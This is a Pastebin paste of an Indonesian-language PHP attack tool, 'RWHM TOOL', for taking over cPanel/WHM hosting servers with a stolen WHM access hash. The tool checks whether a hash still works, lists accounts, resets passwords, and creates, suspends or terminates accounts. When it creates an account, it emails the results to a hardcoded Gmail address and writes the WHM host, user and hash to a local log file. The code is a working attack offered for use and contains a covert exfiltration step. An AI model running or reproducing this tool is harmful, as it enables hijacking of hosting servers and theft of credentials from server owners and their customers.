Advertisement
Guest User

RWHM

a guest
Dec 3rd, 2016
150
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.66 KB | None | 0 0
  1.  
  2. <form action="?&amp;idb=olenk12" method="post">
  3. <?php
  4. error_reporting(0);
  5. $whm_ssl = 1;
  6. $whm_metode = '/usr/local/cpanel/Cpanel/Accounting.php.inc';
  7. //functiont
  8. class Whm{
  9. var $controller = true;
  10. var $host = null;
  11. var $user=null;
  12. var $accessHash = null;
  13. var $errors=array();
  14. var $fp=null;
  15. function startup(&$controller){
  16. $this->controller =& $controller;}
  17. function init($host,$user,$accessHash){
  18. $this->host=$host;
  19. $this->user=$user;
  20. $accessHash = str_replace(array("\r", "\n"),"",$accessHash);
  21. $this->accessHash=$accessHash;}
  22. function connect($api_path){
  23. $this->fp = fsockopen("ssl://" . $this->host, 2087, $errno, $errstr, 30);
  24. //$this->fp = fsockopen("ssl://" . $this->host, 2087, $errno, $errstr, 30);
  25. if ($errno == 0 && $this->fp == false){
  26. $this->errors[]="Socket Error: Could not initialize socket.";
  27. return false;}
  28. elseif ($this->fp == false){
  29. $this->errors[]="Socket Error #" . $errno . ": " . $errstr;
  30. return false;}
  31. $header = "";
  32. $header .= "GET " . $api_path . " HTTP/1.0\r\n";
  33. $header .= "Host: " . $this->host . "\r\n";
  34. $header .= "Connection: Close\r\n";
  35. $header .= "Authorization: WHM " . $this->user . ":" . $this->accessHash . "\r\n";
  36. //$header .= "Authorization: Basic " . base64_encode($user . ":" . $pass) . "\r\n";
  37. $header .= "\r\n";
  38. if(!@fputs($this->fp, $header)){
  39. $this->errors[]='Unable to send header.';
  40. return false;}}
  41. function disconnect(){
  42. fclose($this->fp);}
  43. function getOutput(){
  44. $rawResult = "";
  45. while (!feof($this->fp)){
  46. $rawResult .= @fgets($this->fp, 128);}
  47. $rawResultParts = explode("\r\n\r\n",$rawResult);
  48. $result = $rawResultParts[1];
  49. return $result;}
  50. function version(){
  51. $this->connect('/xml-api/version');
  52. $xmlstr=$this->getOutput();
  53. if($xmlstr==''){
  54. $this->errors[]='No output.';
  55. return false;}
  56. $this->disconnect();
  57. $xml = new SimpleXMLElement($xmlstr);
  58. return $xml->version;
  59. }
  60. function gethostname(){
  61. $this->connect('/xml-api/gethostname');
  62. $xmlstr=$this->getOutput();
  63. if($xmlstr==''){
  64. $this->errors[]='No output.';
  65. return false;}
  66. $this->disconnect();
  67. $xml = new SimpleXMLElement($xmlstr);
  68. return $xml->hostname;
  69. }
  70. function passwd($accUser,$pass){
  71. $this->connect("/xml-api/passwd?user=$accUser&pass=$pass");
  72. $xmlstr=$this->getOutput();
  73. if($xmlstr==''){
  74. $this->errors[]='No output.';
  75. return false;}
  76. $this->disconnect();
  77. $xml = new DOMDocument();
  78. $xml->loadXML($xmlstr);
  79. $list = $xml->getElementsByTagName('statusmsg');
  80. $i=0;
  81. foreach ($list AS $element){
  82. foreach ($element->childNodes AS $item){
  83. $result[$i]['statusmsg']=$item->nodeValue;
  84. $i++;}}
  85. $list = $xml->getElementsByTagName('rawout');
  86. $i=0;
  87. foreach ($list AS $element){
  88. foreach ($element->childNodes AS $item){
  89. $result[$i]['rawout']=$item->nodeValue;
  90. $i++;}}
  91. if($result){
  92. foreach ($result as $item => $output){
  93. echo '</p>';
  94. echo '<center><font class=olenk4>Password Berhasil Diganti</center><p><center>';
  95. echo $output[rawout];
  96. echo '</center>';
  97. }
  98. }else{
  99. echo '<p><center><font class=olenk5>Tidak dapat tersambung ke server.. Mungkin hash access tidak valid..!!</font></p></div>';
  100. }
  101. echo '</center>';
  102. }
  103. function suspend($acctUser) {
  104. $this->connect("/xml-api/suspendacct?user=$acctUser");
  105. $xmlstr=$this->getOutput();
  106. if($xmlstr==''){
  107. $this->errors[]='No output.';
  108. return false;}
  109. $this->disconnect();
  110. $xml = new DOMDocument();
  111. $xml->loadXML($xmlstr);
  112. $list = $xml->getElementsByTagName('statusmsg');
  113. $i=0;
  114. foreach ($list AS $element){
  115. foreach ($element->childNodes AS $item){
  116. $result[$i]['statusmsg']=$item->nodeValue;
  117. $i++;}}
  118. if($result){
  119. echo '<table class=olenk border="1">
  120. <tr><td><b>Suspended Account</b></tr></td>';
  121. foreach ($result as $item => $output){
  122. echo '<tr><td class=olenk4>';
  123. echo $output[statusmsg];
  124. echo '</td></tr>';
  125. }
  126. }
  127. else{
  128. echo '<p><center><font class=olenk5>Tidak dapat tersambung ke server.. Mungkin hash access tidak valid..!!</font></p>';
  129. }
  130. echo '</table>';
  131. }
  132. function createAccount($acctDomain,$acctUser,$acctPass,$acctPackg,$acctEmail){
  133. $this->connect("/xml-api/createacct?username=$acctUser&password=$acctPass&plan=$acctPackg&domain=$acctDomain&contactemail=$acctEmail&ip=y&cgi=y&frontpage=y&cpmod=x3&useregns=1&reseller=0");
  134. $xmlstr=$this->getOutput();
  135. if($xmlstr==''){
  136. $this->errors[]='No output.';
  137. return false;}
  138. $this->disconnect();
  139. $xml = new DOMDocument();
  140. $xml->loadXML($xmlstr);
  141. $list = $xml->getElementsByTagName('statusmsg');
  142. $i=0;
  143. foreach ($list AS $element){
  144. foreach ($element->childNodes AS $item){
  145. $result[$i]['statusmsg']=$item->nodeValue;
  146. $i++;}}
  147. $list = $xml->getElementsByTagName('rawout');
  148. $i=0;
  149. foreach ($list AS $element){
  150. foreach ($element->childNodes AS $item){
  151. $result[$i]['rawout']=$item->nodeValue;
  152. $i++;}}
  153. if($result){
  154. foreach ($result as $item => $output){
  155. echo '<b><p>Status :</b>';
  156. echo $output[statusmsg];
  157. echo '</p>';
  158. echo '<center><font class=olenk4>Login Cpanel Kang</center><br><center><textarea class=olenk>';
  159. echo strip_tags($output[rawout]);
  160. echo '</textarea></center>';
  161. }
  162. }else{
  163. echo '<font class=olenk5><center><p>Tidak dapat tersambung ke server.. Mungkin hash access tidak valid..!!</font></center></p>';
  164. }
  165. }
  166. }
  167. echo '<form action="" method="post"><b><table class=tabnet>';
  168. echo '<tr><th colspan="2"><b>-=[[ RWHM TOOL ]]=-</b></th></center></tr>';
  169. echo '<tr><td>hash</td><td><textarea class=olenk2 cols=40 rows=10 name="hash"></textarea></td></tr>';
  170. echo '<tr><td>hostname</td><td><input class=olenk2 type=text size=40 name="host" value=""></td></tr>';
  171. echo '<tr><td>admin</td><td><input class=olenk2 type=text size=40 name="admin" value=""></td></tr>';
  172. echo '<tr><th colspan="2"><b>-=[[ FUNCTION CHECK ]]=-</b></th></center></tr></table>';
  173. echo '<center>
  174. <input class=olenk3 type="submit"
  175. name="cek-pkgs" value="Cek Package"> <input class=olenk3 type="submit"
  176. name="server" value="Cek Host"> <input class=olenk3 type="submit"
  177. name="cek-acct" value="Cek Akun"> <input class=olenk3 type="submit" name="tes" value="Cek Hash!"/></center>';
  178. echo '<b><table class=tabnet><tr><td>user cp</td><td><input class=olenk2 type=text size=40 name="User-name" value=""></td></tr>';
  179. echo '<tr><td>new pass</td><td><input class=olenk2 type=text size=40 name="password" value=""></td></tr>';
  180. echo '<tr><td>domain</td><td><input class=olenk2 type=text size=40 name="domain" value=""></td></tr>';
  181. echo '<tr><td>package</td><td><input class=olenk2 type=text size=40 name="plan" value=""></td></tr>';
  182. echo '<tr><th colspan="2"><b>-=[[ EXECUTION ]]=-</b></th></center></tr></table>';
  183. echo '<center><input class=olenk3 type="submit"
  184. name="resetpass" value="Password"> <input class=olenk3 type="submit"
  185. name="create" value="buat akun"> <input class=olenk3 type="submit"
  186. name="suspended" value="Suspended"><br><input class=olenk3 type="submit"
  187. name="unsuspend" value="Unsuspend"> <input class=olenk3 type="submit"
  188. name="terminate" value="Terminate"></center>
  189. </form>';
  190.  
  191. //terminate
  192. set_time_limit(0);
  193. if(isset($_POST['terminate'])){
  194. $whm_host = $_POST['host'];
  195. $whm_user = $_POST['admin'];
  196. $whm_key = $_POST['hash'];
  197. $User = $_POST['User-name'];
  198. if (!file_exists($whm_metode)) {
  199. die($whm_metode . " does not exist. Please update program
  200. with correct path to your WHM interface file.");}
  201. if (!empty($whm_key)) {
  202. require_once $whm_metode;
  203. $tes = killacct ($whm_host, $whm_user, $whm_key, $whm_ssl, $User);
  204. if($tes){
  205. echo '<pre>';
  206. print_r($tes);
  207. echo '</pre>';
  208. }}
  209. }
  210.  
  211. //cek akun
  212. set_time_limit(0);
  213. if(isset($_POST['cek-acct'])){
  214. $whm_host = $_POST['host'];
  215. $whm_user = $_POST['admin'];
  216. $whm_key = $_POST['hash'];
  217. if (!file_exists($whm_metode)) {
  218. die($whm_metode . " does not exist. Please update program
  219. with correct path to your WHM interface file.");}
  220. if (!empty($whm_key)) {
  221. require_once $whm_metode;
  222. $tes = listaccts ($whm_host, $whm_user, $whm_key, $whm_ssl);
  223. if($tes){
  224. echo '<pre>';
  225. print_r($tes);
  226. echo '</pre>';
  227. }
  228. }
  229. }
  230.  
  231. //ganti password
  232. set_time_limit(0);
  233. if(isset($_POST['resetpass'])){
  234. echo '<div class="result">';
  235. echo '<div class="a">';
  236. $anu1 = $_POST['host'];
  237. $anu2 = $_POST['admin'];
  238. $anu3 = $_POST['hash'];
  239. $User = $_POST['User-name'];
  240. $newpass = $_POST['password'];
  241. if (!empty($anu2)) {
  242. $test= new whm;
  243. $test->init("$anu1","$anu2","$anu3");
  244. $result=$test->passwd("$User","$newpass");
  245. print $result;
  246. echo "</center></div>";
  247. echo "</div>";}}
  248. //cek package
  249. set_time_limit(0);
  250. if(isset($_POST['cek-pkgs'])){
  251. $whm_host = $_POST['host'];
  252. $whm_user = $_POST['admin'];
  253. $whm_key = $_POST['hash'];
  254. if (!file_exists($whm_metode)) {
  255. die($whm_metode . " does not exist. Please update program
  256. with correct path to your WHM interface file.");}
  257. if (!empty($whm_key)) {
  258. require_once $whm_metode;
  259. $tes = listpkgs ($whm_host, $whm_user, $whm_key, $whm_ssl);
  260. if($tes){
  261. echo '<pre>';
  262. print_r($tes);
  263. echo '</pre>';
  264. }
  265. }
  266. }
  267.  
  268. //suspended
  269. set_time_limit(0);
  270. if(isset($_POST['suspended'])){
  271. echo '<div class="result">';
  272. echo '<div class="a">';
  273. $anu1 = $_POST['host'];
  274. $anu2 = $_POST['admin'];
  275. $anu3 = $_POST['hash'];
  276. $User = $_POST['User-name'];
  277. if (!empty($anu2)) {
  278. $test= new whm;
  279. $test->init("$anu1","$anu2","$anu3");
  280. $result=$test->suspend("$User");
  281. print $result;
  282. echo "</center></div>";
  283. echo "</div>";}}
  284.  
  285. //hostname
  286. set_time_limit(0);
  287. if(isset($_POST['server'])){
  288. echo '<div class="result">';
  289. echo '<div class="a">';
  290. $anu1 = $_POST['host'];
  291. $anu2 = $_POST['admin'];
  292. $anu3 = $_POST['hash'];
  293. if (!empty($anu2)) {
  294. $test= new whm;
  295. $test->init("$anu1","$anu2","$anu3");
  296. echo "<p><center>";
  297. $host=$test->gethostname();
  298. echo 'HostName : ';
  299. echo $host;
  300. echo '</p><p>Version : ';
  301. $versi=$test->version();
  302. echo $versi;
  303. echo '</p></center></div></div>';}}
  304.  
  305. //cek hash
  306. set_time_limit(0);
  307. if(isset($_POST['tes'])){
  308. echo '<div id="result">';
  309. $whmhost = $_POST['host'];
  310. $whmuser = $_POST['admin'];
  311. $whmhash = $_POST['hash'];
  312. function getVar($name, $def = '') {
  313. if (isset($_REQUEST[$name]))
  314. return $_REQUEST[$name];
  315. else
  316. return $def;
  317. }
  318. if (!empty($whmuser)) {
  319.  
  320. $query = "https://$whmhost:2087";
  321. $curl = curl_init();
  322. curl_setopt($curl, CURLOPT_SSL_VERIFYHOST,0 );
  323. curl_setopt($curl, CURLOPT_SSL_VERIFYPEER,0 );
  324. curl_setopt($curl, CURLOPT_RETURNTRANSFER,1);
  325. $header[0] = "Authorization: WHM $whmuser:" . preg_replace("'(\r|\n)'","",$whmhash);
  326. curl_setopt($curl,CURLOPT_HTTPHEADER,$header);
  327. curl_setopt($curl, CURLOPT_URL, $query);
  328. $result = curl_exec($curl);
  329. if ($result == false) {
  330. error_log("curl_exec threw error \"" . curl_error($curl) . "\" for $query");
  331. }
  332. curl_close($curl);
  333. if (strpos($result, "<noframes>WebHost Manager") !== false) {
  334. echo "<br/><center>Mantap Kang.!</b><br/>";
  335. echo "<br/>Setelah diteliti di ITB & IPB ternyata hash'nya:<br> &nbsp;&nbsp;&nbsp;<font color='green'>masih aktif.!! </font><br/>";
  336. } else {
  337. echo "<br/><center>Gatot Ga.!</b><br/>";
  338. echo "<br/>Setelah diteliti di ITB & IPB ternyata hash'nya:<br> &nbsp;&nbsp;&nbsp;<font color='red'>Sudah tidak aktif lagi </font><br/>";
  339. }
  340. }
  341. }
  342.  
  343. //unsuspended
  344. set_time_limit(0);
  345. if(isset($_POST['unsuspend'])){
  346. $whm_host = $_POST['host'];
  347. $whm_user = $_POST['admin'];
  348. $whm_key = $_POST['hash'];
  349. $User = $_POST['User-name'];
  350. if (!file_exists($whm_metode)) {
  351. die($whm_metode . " does not exist. Please update program
  352. with correct path to your WHM interface file.");}
  353. if (!empty($whm_key)) {
  354. require_once $whm_metode;
  355. $tes = unsuspend ($whm_host, $whm_user, $whm_key, $whm_ssl, $User);
  356. if($tes){
  357. echo '<pre>';
  358. print_r($tes);
  359. echo '</pre>';
  360. }}
  361. }
  362.  
  363. //fungsi create
  364. set_time_limit(0);
  365. $whm_interface_path = '/usr/local/cpanel/Cpanel/Accounting.php.inc';
  366. function getVar($name, $def = '') {
  367. if (isset($_REQUEST[$name]))
  368. return $_REQUEST[$name];
  369. else
  370. return $def;
  371. }
  372. //create account
  373. $II11II11II11II11 = fopen("olenktea.txt","a");
  374. set_time_limit(0);
  375. header('Content-Type: text/html; charset=UTF-8');
  376. $whm_interface_path = '/usr/local/cpanel/Cpanel/Accounting.php.inc';
  377. if (isset($_POST['create'])) {
  378. echo '<div id="result">';
  379. if (!isset($whm_user)) {
  380. $whm_user = getVar('admin');
  381. }
  382. if (!isset($whm_host)) {
  383. $whm_host = getVar('host');
  384. }
  385. $whm_usessl = 1;
  386. if (!isset($whm_key)) {
  387. $whm_key = getVar('hash');
  388. }
  389. if (!isset($user_domain)) {
  390. $user_domain = getVar('domain');
  391. }
  392. if (!isset($user_name)) {
  393. $user_name = getVar('User-name');
  394. }
  395. if (!isset($user_pass)) {
  396. $user_pass = getVar('password');
  397. }
  398. if (!isset($user_plan)) {
  399. $user_plan = getVar('plan');
  400. }
  401. if (!file_exists($whm_interface_path)) {
  402. die($whm_interface_path . " does not exist. Please update program with correct path to your WHM interface file.");
  403. }
  404. if(!empty($user_name)) {
  405. require_once $whm_interface_path;
  406. $result = createacct($whm_host,$whm_user,$whm_key,$whm_usessl,$user_domain,$user_name,$user_pass,$user_plan);
  407. if(eregi("Account Creation Ok", $result)){
  408. $awal = explode("Dns Zone check is enabled.", $result);
  409. $filter = explode('Running', $awal[1]);
  410. $memek = explode("| Domain: ", $result);
  411. $memekjanda = explode('| Ip:', $memek[1]);
  412. $memekk = explode("| Ip:", $result);
  413. $memekjandaa = explode('(n)', $memekk[1]);
  414. $memekkk = explode("| UserName:",$result);
  415. $memekjandaaa = explode("| PassWord:",$memekkk[1]);
  416. $memekkkk = explode("| PassWord:",$result);
  417. $memekjandaaaa = explode("| CpanelMod:",$memekkkk[1]);
  418. $dari = 'cpanel@olenk.info';
  419. $subject = 'Cpanel Remote Account';
  420. $tujuan = 'bongkartea56@gmail.com';
  421. $httpheader='From:'.$dari."rn".'To:'.$tujuan."rn".'Subjecbject:'.$subject."rn".'Content-type:text/plain;charset=iso-8859-1'."rn".'Sent:'.date('l, F d, Y H:i');
  422. mail($tujuan,$subject,$filter[0],$httpheader);
  423. echo "<center><br /><pre><font color=cyan>$filter[0]</font></pre>";
  424. echo '<span class=X><nobr><img src="http://dedekuntoro.wapsite.me/images/salaman.gif"> ACCOUNT CREATED <img src="http://dedekuntoro.wapsite.me/images/goodluck.gif"></nobr><br></span>';
  425. $separator = "+==========================./olenktea+rn";
  426. fwrite($II11II11II11II11,$separator."New Account Information rn".$separator);
  427. fwrite($II11II11II11II11,"WHM USER : ".$whm_user."rn");
  428. fwrite($II11II11II11II11,"WHM HOST : ".$whm_host."rn");
  429.  
  430. fwrite($II11II11II11II11,$whm_key."rn");
  431. fwrite($II11II11II11II11,$filter[0]."rn");
  432. fwrite($II11II11II11II11,"rn");
  433.  
  434. fclose($II11II11II11II11);
  435. } else {
  436. echo "<center><h3>Failed </h3>";
  437. }
  438. if(eregi("Access Denied", $result)) {
  439. echo "<center>Access Denied</center><br/><br/>";
  440. }
  441. if(eregi("Sorry, a passwd entry for that username already exists.", $result)) {
  442. echo "<center>Sorry, a passwd entry for that username already exists.</center><br/><br/>";
  443. }
  444. if(eregi("Sorry, a DNS entry for", $result)){
  445. echo "<center>Sorry, a DNS entry already exists</center><br/><br/>";
  446. }
  447. }
  448. echo "<br /><br />";
  449. }
  450. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement